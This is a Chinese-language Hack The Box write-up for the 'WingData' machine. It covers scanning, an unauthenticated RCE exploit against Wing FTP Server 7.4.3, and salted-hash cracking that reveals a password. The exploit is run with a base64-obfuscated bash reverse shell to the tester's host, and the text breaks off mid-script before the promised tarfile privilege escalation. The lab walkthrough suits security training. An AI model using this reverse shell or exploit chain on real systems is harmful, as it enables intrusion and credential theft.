HackTheBox-WingData

かわいた木枯らし そよそよと
干冷秋风 徐徐拂过
かわいた木の葉は ひらひらと
枯黄落叶 翩翩舞落
相見える日を 待ちながら
静待相逢之日
刻を数え歩く
计数日月行过时间


靶机ip:10.129.118.31

难度:简单/中等

涉及内容:端口扫描与服务枚举:使用 RustScan 快速确定开放端口,并结合 Gobuster 进行子域名/虚拟主机爆破 。

Web 漏洞利用:针对特定版本的 Wing FTP Server (v7.4.3) 利用未授权远程代码执行(RCE)漏洞 。

凭据提取与破解:分析 XML 配置文件以获取加盐(Salted)的哈希值,并使用 Hashcat 配合 rockyou.txt 字典进行离线破解 。

高级权限提升:利用 Python tarfile 模块在处理超长路径时的逻辑缺陷(CVE-2025-4517)绕过安全过滤器,实现任意文件写入 。


端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# ./rustscan -a 10.129.118.31
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Scanning ports like it's my full-time job. Wait, it is.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.129.118.31:22
Open 10.129.118.31:80

直接访问ip提示我们把域名加上,那就gobuster顺便做个子域名爆破。

爆破出了ftp.wingdata.htb,都给加上去。

1
10.129.118.31 wingdata.htb ftp.wingdata.htb

底下泄露了服务及版本,查一下有相关exp可以利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# searchsploit " Wing FTP Server"
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Wing FTP Server - (Authenticated) Command Execution (Metasploit) | windows/remote/34517.rb
Wing FTP Server - Authenticated CSRF (Delete Admin) | php/webapps/48200.txt
Wing FTP Server 3.2.4 - Cross-Site Request Forgery | multiple/webapps/10821.txt
Wing FTP Server 4.3.8 - Remote Code Execution (RCE) (Authenticated) | windows/remote/50720.py
Wing FTP Server 6.0.7 - Unquoted Service Path | windows/local/47818.txt
Wing FTP Server 6.2.3 - Privilege Escalation | windows/local/48160.py
Wing FTP Server 6.2.5 - Privilege Escalation | multiple/webapps/48154.sh
Wing FTP Server 6.3.8 - Remote Code Execution (Authenticated) | lua/webapps/48676.txt
Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) | multiple/remote/52347.py
Wing FTP Server Admin 4.4.5 - Cross-Site Request Forgery (Add User) | php/webapps/36992.txt
Wing FTP Server Admin 4.4.5 - Multiple Vulnerabilities | windows/webapps/36861.txt
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

刚好有一个对的上的,直接使用它拿shell。

1
2
3
4
5
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# python3 52347.py
usage: 52347.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-v] [-o OUTPUT] [-U USERNAME]
52347.py: error: Either -u/--url or -f/--file must be specified.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# python3 52347.py -u "http://ftp.wingdata.htb/" -c "printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkvNDQ0NCAwPiYxKSAm|base64 -d|bash"

[*] Testing target: http://ftp.wingdata.htb/
[+] Sending POST request to http://ftp.wingdata.htb//loginok.html with command: 'printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkvNDQ0NCAwPiYxKSAm|base64 -d|bash' and username: 'anonymous'
[+] UID extracted: 51348e27c10793e4637f2bd26bcf4f05f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb//dir.html with UID: 51348e27c10793e4637f2bd26bcf4f05f528764d624db129b32c21fbca0cb8d6

--- Command Output ---

----------------------

1
2
3
4
5
6
7
8
9
10
────────────────────────────────────────────────────────────────────────────────
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from wingdata-10.129.118.31-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/local/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/wingdata~10.129.118.31_Linux_x86_64/2026_02_15-01_47_49-913.log 📜
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
wingftp@wingdata:/opt/wftpserver$

之后信息收集一波,发现了user以及密码

注意这里的密码是加盐过的,盐值可以在一个xml文件里找到。

1
2
3
4
wingftp@wingdata:/opt/wftpserver$ ls /home
wacky
wingftp@wingdata:/opt/wftpserver$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
wingftp@wingdata:/opt/wftpserver/Data/1$ cat settings.xml 
<?xml version="1.0" ?>
<DOMAIN_OPTION Description="Wing FTP Server Domain settings">
<Domain_Max_Session>0</Domain_Max_Session>
<Domain_Per_Ip_Max_Session>0</Domain_Per_Ip_Max_Session>
<Per_Session_Max_Download_Speed>0</Per_Session_Max_Download_Speed>
<Per_Session_Max_Upload_Speed>0</Per_Session_Max_Upload_Speed>
<Domain_Max_Download_Speed>0</Domain_Max_Download_Speed>
<Domain_Max_Upload_Speed>0</Domain_Max_Upload_Speed>
<Per_User_Max_Download_Speed>0</Per_User_Max_Download_Speed>
<Per_User_Max_Upload_Speed>0</Per_User_Max_Upload_Speed>
<Passive_Type>0</Passive_Type>
<Pasv_Ip_Refresh_Interval>60</Pasv_Ip_Refresh_Interval>
<Fixed_Ip></Fixed_Ip>
<Web_Ip>http://ip.wftpserver.com/w/getIP.php</Web_Ip>
<DNS_Ip></DNS_Ip>
<Enable_UPnP_For_Passive_Ports>0</Enable_UPnP_For_Passive_Ports>
<Min_Passive_Port>1024</Min_Passive_Port>
<Max_Passive_Port>1124</Max_Passive_Port>
<Transfer_Buffer_Size>65535</Transfer_Buffer_Size>
<Userdata_Access_Style>1</Userdata_Access_Style>
<MYSQL_Address>localhost</MYSQL_Address>
<MYSQL_Port>3306</MYSQL_Port>
<MYSQL_Username>root</MYSQL_Username>
<MYSQL_Password></MYSQL_Password>
<MYSQL_DatabaseName>wftp_database</MYSQL_DatabaseName>
<MYSQL_UnixSocket></MYSQL_UnixSocket>
<ODBC_DSN_Address></ODBC_DSN_Address>
<ODBC_DSN_Username></ODBC_DSN_Username>
<ODBC_DSN_Password></ODBC_DSN_Password>
<Enable_Mode_Z_support>0</Enable_Mode_Z_support>
<Default_Compression_level>8</Default_Compression_level>
<Min_Compression_level>1</Min_Compression_level>
<Max_Compression_level>9</Max_Compression_level>
<Enable_SFV_Check>0</Enable_SFV_Check>
<SFV_Check_Create_Missing>0</SFV_Check_Create_Missing>
<SFV_Check_Bad_File>0</SFV_Check_Bad_File>
<SFV_Check_Create_Progress>0</SFV_Check_Create_Progress>
<SFV_Check_Send_Result>0</SFV_Check_Send_Result>
<Anti_Hammer_Enable>1</Anti_Hammer_Enable>
<Anti_Hammer_Block_Time>180</Anti_Hammer_Block_Time>
<Anti_Hammer_Login_Failed_Counts>10</Anti_Hammer_Login_Failed_Counts>
<Anti_Hammer_Interval>90</Anti_Hammer_Interval>
<Anti_Hammer_Send_Message>0</Anti_Hammer_Send_Message>
<SSL_Name>wftp_default_ssl</SSL_Name>
<SSH_Name>wftp_default_ssh</SSH_Name>
<SSH_Use_UTF8>1</SSH_Use_UTF8>
<SMTP_Name></SMTP_Name>
<Enable_FXP>0</Enable_FXP>
<Enable_WebLink>0</Enable_WebLink>
<Enable_Logfile>1</Enable_Logfile>
<Logfile_Name>%Y-%M-%D.log</Logfile_Name>
<Logfile_Maxsize>512000</Logfile_Maxsize>
<Message_Log_File_Enable>1</Message_Log_File_Enable>
<Message_Log_Scrn_Enable>1</Message_Log_Scrn_Enable>
<Security_Log_File_Enable>1</Security_Log_File_Enable>
<Security_Log_Scrn_Enable>1</Security_Log_Scrn_Enable>
<FTP_Command_Log_File_Enable>1</FTP_Command_Log_File_Enable>
<FTP_Command_Log_Scrn_Enable>1</FTP_Command_Log_Scrn_Enable>
<FTP_Response_Log_File_Enable>1</FTP_Response_Log_File_Enable>
<FTP_Response_Log_Scrn_Enable>1</FTP_Response_Log_Scrn_Enable>
<WEB_Command_Log_File_Enable>1</WEB_Command_Log_File_Enable>
<WEB_Command_Log_Scrn_Enable>1</WEB_Command_Log_Scrn_Enable>
<WEB_Response_Log_File_Enable>1</WEB_Response_Log_File_Enable>
<WEB_Response_Log_Scrn_Enable>1</WEB_Response_Log_Scrn_Enable>
<SSH_Command_Log_File_Enable>1</SSH_Command_Log_File_Enable>
<SSH_Command_Log_Scrn_Enable>1</SSH_Command_Log_Scrn_Enable>
<SSH_Response_Log_File_Enable>1</SSH_Response_Log_File_Enable>
<SSH_Response_Log_Scrn_Enable>1</SSH_Response_Log_Scrn_Enable>
<ODBC_Error_Log_File_Enable>1</ODBC_Error_Log_File_Enable>
<ODBC_Error_Log_Scrn_Enable>1</ODBC_Error_Log_Scrn_Enable>
<MYSQL_Error_Log_File_Enable>1</MYSQL_Error_Log_File_Enable>
<MYSQL_Error_Log_Scrn_Enable>1</MYSQL_Error_Log_Scrn_Enable>
<LUA_Error_Log_File_Enable>1</LUA_Error_Log_File_Enable>
<LUA_Error_Log_Scrn_Enable>1</LUA_Error_Log_Scrn_Enable>
<Mail_Error_Log_File_Enable>1</Mail_Error_Log_File_Enable>
<Mail_Error_Log_Scrn_Enable>1</Mail_Error_Log_Scrn_Enable>
<File_Error_Log_File_Enable>1</File_Error_Log_File_Enable>
<File_Error_Log_Scrn_Enable>1</File_Error_Log_Scrn_Enable>
<Normal_Error_Log_File_Enable>1</Normal_Error_Log_File_Enable>
<Normal_Error_Log_Scrn_Enable>1</Normal_Error_Log_Scrn_Enable>
<Message_Welcome>%ServerName ready...</Message_Welcome>
<Message_Login>User %Name logged in.</Message_Login>
<Message_Change_Dir>CWD command ok. &quot;%Dir&quot; is current directory.</Message_Change_Dir>
<Message_Dir_List>Transfer ok.</Message_Dir_List>
<Message_File_Upload>File received ok. Transferred:%ConTransferBytes;Average speed is:%ConTransferSpeedKBS</Message_File_Upload>
<Message_File_Download>File sent ok. Transferred:%ConTransferBytes;Average speed is:%ConTransferSpeedKBS</Message_File_Download>
<Message_System_Command>UNIX Type: L8</Message_System_Command>
<Message_Quit_Command>Goodbye.</Message_Quit_Command>
<Enable_UPnP_For_Listener_Ports>0</Enable_UPnP_For_Listener_Ports>
<Max_Number_Sessions_Per_User_Account>0</Max_Number_Sessions_Per_User_Account>
<Max_Sessions_Per_Ip_For_User_Account>0</Max_Sessions_Per_Ip_For_User_Account>
<Command_Timeout_Min>5</Command_Timeout_Min>
<Enable_Domain_Logo>0</Enable_Domain_Logo>
<Transfer_Timeout_Minutes>5</Transfer_Timeout_Minutes>
<ADUser_Enable>0</ADUser_Enable>
<ADUser_Domain></ADUser_Domain>
<ADUser_Directory></ADUser_Directory>
<ADUser_Enable_OwnDir>0</ADUser_Enable_OwnDir>
<ADUser_Enable_FileRead>1</ADUser_Enable_FileRead>
<ADUser_Enable_FileWrite>0</ADUser_Enable_FileWrite>
<ADUser_Enable_FileAppend>0</ADUser_Enable_FileAppend>
<ADUser_Enable_FileDelete>0</ADUser_Enable_FileDelete>
<ADUser_Enable_DirRename>0</ADUser_Enable_DirRename>
<ADUser_Enable_DirList>1</ADUser_Enable_DirList>
<ADUser_Enable_DirCreate>0</ADUser_Enable_DirCreate>
<ADUser_Enable_DirDelete>0</ADUser_Enable_DirDelete>
<ADUser_Enable_FileRename>0</ADUser_Enable_FileRename>
<ADUser_Enable_ZipFile>0</ADUser_Enable_ZipFile>
<ADUser_Enable_UnzipFile>0</ADUser_Enable_UnzipFile>
<ADUser_User_Mapping>ADUser001:LocalUser001&#x0A;ADUser002:LocalUser002</ADUser_User_Mapping>
<LDAP_Enable>0</LDAP_Enable>
<LDAP_Host>localhost</LDAP_Host>
<LDAP_Port>389</LDAP_Port>
<LDAP_UseSSL>0</LDAP_UseSSL>
<LDAP_BindDN></LDAP_BindDN>
<LDAP_BindPass></LDAP_BindPass>
<LDAP_BaseDN></LDAP_BaseDN>
<LDAP_Filter>(&amp;(objectClass=posixAccount)(uid=%s))</LDAP_Filter>
<LDAP_Directory></LDAP_Directory>
<LDAP_Enable_OwnDir>0</LDAP_Enable_OwnDir>
<LDAP_Enable_FileRead>1</LDAP_Enable_FileRead>
<LDAP_Enable_FileWrite>0</LDAP_Enable_FileWrite>
<LDAP_Enable_FileAppend>0</LDAP_Enable_FileAppend>
<LDAP_Enable_FileDelete>0</LDAP_Enable_FileDelete>
<LDAP_Enable_DirRename>0</LDAP_Enable_DirRename>
<LDAP_Enable_DirList>1</LDAP_Enable_DirList>
<LDAP_Enable_DirCreate>0</LDAP_Enable_DirCreate>
<LDAP_Enable_DirDelete>0</LDAP_Enable_DirDelete>
<LDAP_Enable_FileRename>0</LDAP_Enable_FileRename>
<LDAP_Enable_ZipFile>0</LDAP_Enable_ZipFile>
<LDAP_Enable_UnzipFile>0</LDAP_Enable_UnzipFile>
<LDAP_User_Mapping>LDAPUser001:LocalUser001&#x0A;LDAPUser002:LocalUser002</LDAP_User_Mapping>
<LDAP_Group_Mapping>CN=ADGroup1,CN=Builtin,DC=wftpserver,DC=com:LocalUser1&#x0A;CN=ADGroup2,CN=Builtin,DC=wftpserver,DC=com:LocalUser2</LDAP_Group_Mapping>
<LDAP_Version>3</LDAP_Version>
<LDAP_Dir_Lowercase>0</LDAP_Dir_Lowercase>
<WebLink_Speed>0</WebLink_Speed>
<LIST_TIME_GMT>1</LIST_TIME_GMT>
<Logfile_Compress>1</Logfile_Compress>
<Enable_UTF8_ON>1</Enable_UTF8_ON>
<Enable_AUTH_ON>1</Enable_AUTH_ON>
<Use_LANIP_For_LAN_Client_Passive>1</Use_LANIP_For_LAN_Client_Passive>
<Min_Password_Length>0</Min_Password_Length>
<Password_Have_Numerals>0</Password_Have_Numerals>
<Password_Have_Lowercase>0</Password_Have_Lowercase>
<Password_Have_Uppercase>0</Password_Have_Uppercase>
<Password_Have_Nonalphanumeric>0</Password_Have_Nonalphanumeric>
<Enable_NTFS_Permission>0</Enable_NTFS_Permission>
<EnableSHA256>1</EnableSHA256>
<Enable_HTTPS_Redirect>0</Enable_HTTPS_Redirect>
<HTTPS_Redirect_Port>443</HTTPS_Redirect_Port>
<Change_Password_Firstlogon>0</Change_Password_Firstlogon>
<Enable_UploadLink>0</Enable_UploadLink>
<UploadLink_Speed>0</UploadLink_Speed>
<Additional_HTTP_Headers></Additional_HTTP_Headers>
<Allow_Passive_Active_Mode>2</Allow_Passive_Active_Mode>
<Passive_Listener_Timeout>30</Passive_Listener_Timeout>
<Auto_Passive_Port_Forward>0</Auto_Passive_Port_Forward>
<MYSQL_Set_UTF8>1</MYSQL_Set_UTF8>
<Enable_Domain>1</Enable_Domain>
<Auto_Active_Port_Forward>0</Auto_Active_Port_Forward>
<Weblink_URL></Weblink_URL>
<Enable_Symbolic_Link>0</Enable_Symbolic_Link>
<Enable_Welcome_Message>0</Enable_Welcome_Message>
<Welcome_Message></Welcome_Message>
<Keep_Old_Weblink>0</Keep_Old_Weblink>
<Uplink_Overwrite_File>0</Uplink_Overwrite_File>
<SSH_Banner>WingFTPServer</SSH_Banner>
<HTTP_KeepAlive>1</HTTP_KeepAlive>
<Enable_Weblink_Subfolder>0</Enable_Weblink_Subfolder>
<TLS_Session_Timeout>3600</TLS_Session_Timeout>
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>
<Enable_Log_Millisecond>0</Enable_Log_Millisecond>
<LDAP_Mapping_CaseInsensitive>0</LDAP_Mapping_CaseInsensitive>
<LDAP_Timeout>10</LDAP_Timeout>
<Keep_Anonymous_Weblink>0</Keep_Anonymous_Weblink>
<Transfer_Limit>
<Transfer_Limit_Enable>0</Transfer_Limit_Enable>
<Transfer_Limit_Reset>0</Transfer_Limit_Reset>
<Transfer_Limit_Reset_Time>0</Transfer_Limit_Reset_Time>
<Enable_Upload_Limit_Never>0</Enable_Upload_Limit_Never>
<Current_Upload_Size_Never>0</Current_Upload_Size_Never>
<Max_Upload_Size_Never>0</Max_Upload_Size_Never>
<Enable_Download_Limit_Never>0</Enable_Download_Limit_Never>
<Current_Download_Size_Never>0</Current_Download_Size_Never>
<Max_Download_Size_Never>0</Max_Download_Size_Never>
<Enable_Upload_Limit_Hourly>0</Enable_Upload_Limit_Hourly>
<Current_Upload_Size_Hourly>0</Current_Upload_Size_Hourly>
<Max_Upload_Size_Hourly>0</Max_Upload_Size_Hourly>
<Enable_Download_Limit_Hourly>0</Enable_Download_Limit_Hourly>
<Current_Download_Size_Hourly>0</Current_Download_Size_Hourly>
<Max_Download_Size_Hourly>0</Max_Download_Size_Hourly>
<Enable_Upload_Limit_Daily>0</Enable_Upload_Limit_Daily>
<Current_Upload_Size_Daily>0</Current_Upload_Size_Daily>
<Max_Upload_Size_Daily>0</Max_Upload_Size_Daily>
<Enable_Download_Limit_Daily>0</Enable_Download_Limit_Daily>
<Current_Download_Size_Daily>0</Current_Download_Size_Daily>
<Max_Download_Size_Daily>0</Max_Download_Size_Daily>
<Enable_Upload_Limit_Weekly>0</Enable_Upload_Limit_Weekly>
<Current_Upload_Size_Weekly>0</Current_Upload_Size_Weekly>
<Max_Upload_Size_Weekly>0</Max_Upload_Size_Weekly>
<Enable_Download_Limit_Weekly>0</Enable_Download_Limit_Weekly>
<Current_Download_Size_Weekly>0</Current_Download_Size_Weekly>
<Max_Download_Size_Weekly>0</Max_Download_Size_Weekly>
<Enable_Upload_Limit_Monthly>0</Enable_Upload_Limit_Monthly>
<Current_Upload_Size_Monthly>0</Current_Upload_Size_Monthly>
<Max_Upload_Size_Monthly>0</Max_Upload_Size_Monthly>
<Enable_Download_Limit_Monthly>0</Enable_Download_Limit_Monthly>
<Current_Download_Size_Monthly>0</Current_Download_Size_Monthly>
<Max_Download_Size_Monthly>0</Max_Download_Size_Monthly>
</Transfer_Limit>
</DOMAIN_OPTION>
wingftp@wingdata:/opt/wftpserver/Data/1$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
wingftp@wingdata:/opt/wftpserver/Data/1/users$ cat wacky.xml 
<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
<USER>
<UserName>wacky</UserName>
<EnableAccount>1</EnableAccount>
<EnablePassword>1</EnablePassword>
<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
<ProtocolType>63</ProtocolType>
<EnableExpire>0</EnableExpire>
<ExpireTime>2025-12-02 12:02:46</ExpireTime>
<MaxDownloadSpeedPerSession>0</MaxDownloadSpeedPerSession>
<MaxUploadSpeedPerSession>0</MaxUploadSpeedPerSession>
<MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
<MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
<SessionNoCommandTimeOut>5</SessionNoCommandTimeOut>
<SessionNoTransferTimeOut>5</SessionNoTransferTimeOut>
<MaxConnection>0</MaxConnection>
<ConnectionPerIp>0</ConnectionPerIp>
<PasswordLength>0</PasswordLength>
<ShowHiddenFile>0</ShowHiddenFile>
<CanChangePassword>0</CanChangePassword>
<CanSendMessageToServer>0</CanSendMessageToServer>
<EnableSSHPublicKeyAuth>0</EnableSSHPublicKeyAuth>
<SSHPublicKeyPath></SSHPublicKeyPath>
<SSHAuthMethod>0</SSHAuthMethod>
<EnableWeblink>1</EnableWeblink>
<EnableUplink>1</EnableUplink>
<EnableTwoFactor>0</EnableTwoFactor>
<TwoFactorCode></TwoFactorCode>
<ExtraInfo></ExtraInfo>
<CurrentCredit>0</CurrentCredit>
<RatioDownload>1</RatioDownload>
<RatioUpload>1</RatioUpload>
<RatioCountMethod>0</RatioCountMethod>
<EnableRatio>0</EnableRatio>
<MaxQuota>0</MaxQuota>
<CurrentQuota>0</CurrentQuota>
<EnableQuota>0</EnableQuota>
<NotesName></NotesName>
<NotesAddress></NotesAddress>
<NotesZipCode></NotesZipCode>
<NotesPhone></NotesPhone>
<NotesFax></NotesFax>
<NotesEmail></NotesEmail>
<NotesMemo></NotesMemo>
<EnableUploadLimit>0</EnableUploadLimit>
<CurLimitUploadSize>0</CurLimitUploadSize>
<MaxLimitUploadSize>0</MaxLimitUploadSize>
<EnableDownloadLimit>0</EnableDownloadLimit>
<CurLimitDownloadLimit>0</CurLimitDownloadLimit>
<MaxLimitDownloadLimit>0</MaxLimitDownloadLimit>
<LimitResetType>0</LimitResetType>
<LimitResetTime>1762103089</LimitResetTime>
<TotalReceivedBytes>0</TotalReceivedBytes>
<TotalSentBytes>0</TotalSentBytes>
<LoginCount>2</LoginCount>
<FileDownload>0</FileDownload>
<FileUpload>0</FileUpload>
<FailedDownload>0</FailedDownload>
<FailedUpload>0</FailedUpload>
<LastLoginIp>127.0.0.1</LastLoginIp>
<LastLoginTime>2025-11-02 12:28:52</LastLoginTime>
<EnableSchedule>0</EnableSchedule>
</USER>
</USER_ACCOUNTS>
wingftp@wingdata:/opt/wftpserver/Data/1/users$

盐值是WingFTP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
┌──(root㉿kaada)-[/home/kali/Desktop]

└─# hashcat -m 1410 -a 0 wacky_hash.txt /usr/share/wordlists/rockyou.txt

hashcat (v7.1.2) starting



OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

====================================================================================================================================================

* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i7-12650H, 2930/5861 MB (1024 MB allocatable), 4MCU



Minimum password length supported by kernel: 0

Maximum password length supported by kernel: 256

Minimum salt length supported by kernel: 0

Maximum salt length supported by kernel: 256



Hashes: 1 digests; 1 unique digests, 1 unique salts

Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Rules: 1



Optimizers applied:

* Zero-Byte

* Early-Skip

* Not-Iterated

* Single-Hash

* Single-Salt

* Raw-Hash



ATTENTION! Pure (unoptimized) backend kernels selected.

Pure kernels can crack longer passwords, but drastically reduce performance.

If you want to switch to optimized kernels, append -O to your commandline.

See the above message to find out about the exact limits.



Watchdog: Temperature abort trigger set to 90c



Host memory allocated for this attack: 513 MB (4957 MB free)



Dictionary cache hit:

* Filename..: /usr/share/wordlists/rockyou.txt

* Passwords.: 14344385

* Bytes.....: 139921507

* Keyspace..: 14344385



32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5



Session..........: hashcat

Status...........: Cracked

Hash.Mode........: 1410 (sha256($pass.$salt))

Hash.Target......: 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b87...ingFTP

Time.Started.....: Sat Feb 14 22:49:50 2026 (3 secs)

Time.Estimated...: Sat Feb 14 22:49:53 2026 (0 secs)

Kernel.Feature...: Pure Kernel (password length 0-256 bytes)

Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)

Guess.Queue......: 1/1 (100.00%)

Speed.#01........: 4512.9 kH/s (0.26ms) @ Accel:1024 Loops:1 Thr:1 Vec:8

Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

Progress.........: 14344192/14344385 (100.00%)

Rejected.........: 0/14344192 (0.00%)

Restore.Point....: 14340096/14344385 (99.97%)

Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1

Candidate.Engine.: Device Generator

Candidates.#01...: !carolyn -> ladykitz

Hardware.Mon.#01.: Util: 43%



Started: Sat Feb 14 22:49:50 2026

Stopped: Sat Feb 14 22:49:55 2026

拿到了密码!#7Blushing^*Bride5

接下来以wacky的身份登录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# ssh wacky@10.129.168.131
The authenticity of host '10.129.168.131 (10.129.168.131)' can't be established.
ED25519 key fingerprint is: SHA256:JacnW6dsEmtRtwu2ULpY/CK8n/8M9tU+6pQhjBG3a4w
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:169: [hashed name]
~/.ssh/known_hosts:172: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.168.131' (ED25519) to the list of known hosts.
wacky@10.129.168.131's password:
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Feb 15 01:55:03 2026 from 10.10.14.19
wacky@wingdata:~$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
wacky@wingdata:~$ cat /opt/backup_clients/restore_backup_clients.py
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
if not re.fullmatch(r"^backup_\d+\.tar$", filename):
return False
client_id = filename.split('_')[1].rstrip('.tar')
return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
parser = argparse.ArgumentParser(
description="Restore client configuration from a validated backup tarball.",
epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
)
parser.add_argument(
"-b", "--backup",
required=True,
help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
"where <client_id> is a positive integer, e.g., backup_1001.tar)"
)
parser.add_argument(
"-r", "--restore-dir",
required=True,
help="Staging directory name for the restore operation. "
"Must follow the format: restore_<client_user> (e.g., restore_john). "
"Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
)

args = parser.parse_args()

if not validate_backup_name(args.backup):
print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
sys.exit(1)

backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
if not os.path.isfile(backup_path):
print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
sys.exit(1)

if not args.restore_dir.startswith("restore_"):
print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
sys.exit(1)

tag = args.restore_dir[8:]
if not tag:
print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
sys.exit(1)

if not validate_restore_tag(tag):
print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
sys.exit(1)

staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
print(f"[+] Backup: {args.backup}")
print(f"[+] Staging directory: {staging_dir}")

os.makedirs(staging_dir, exist_ok=True)

try:
with tarfile.open(backup_path, "r") as tar:
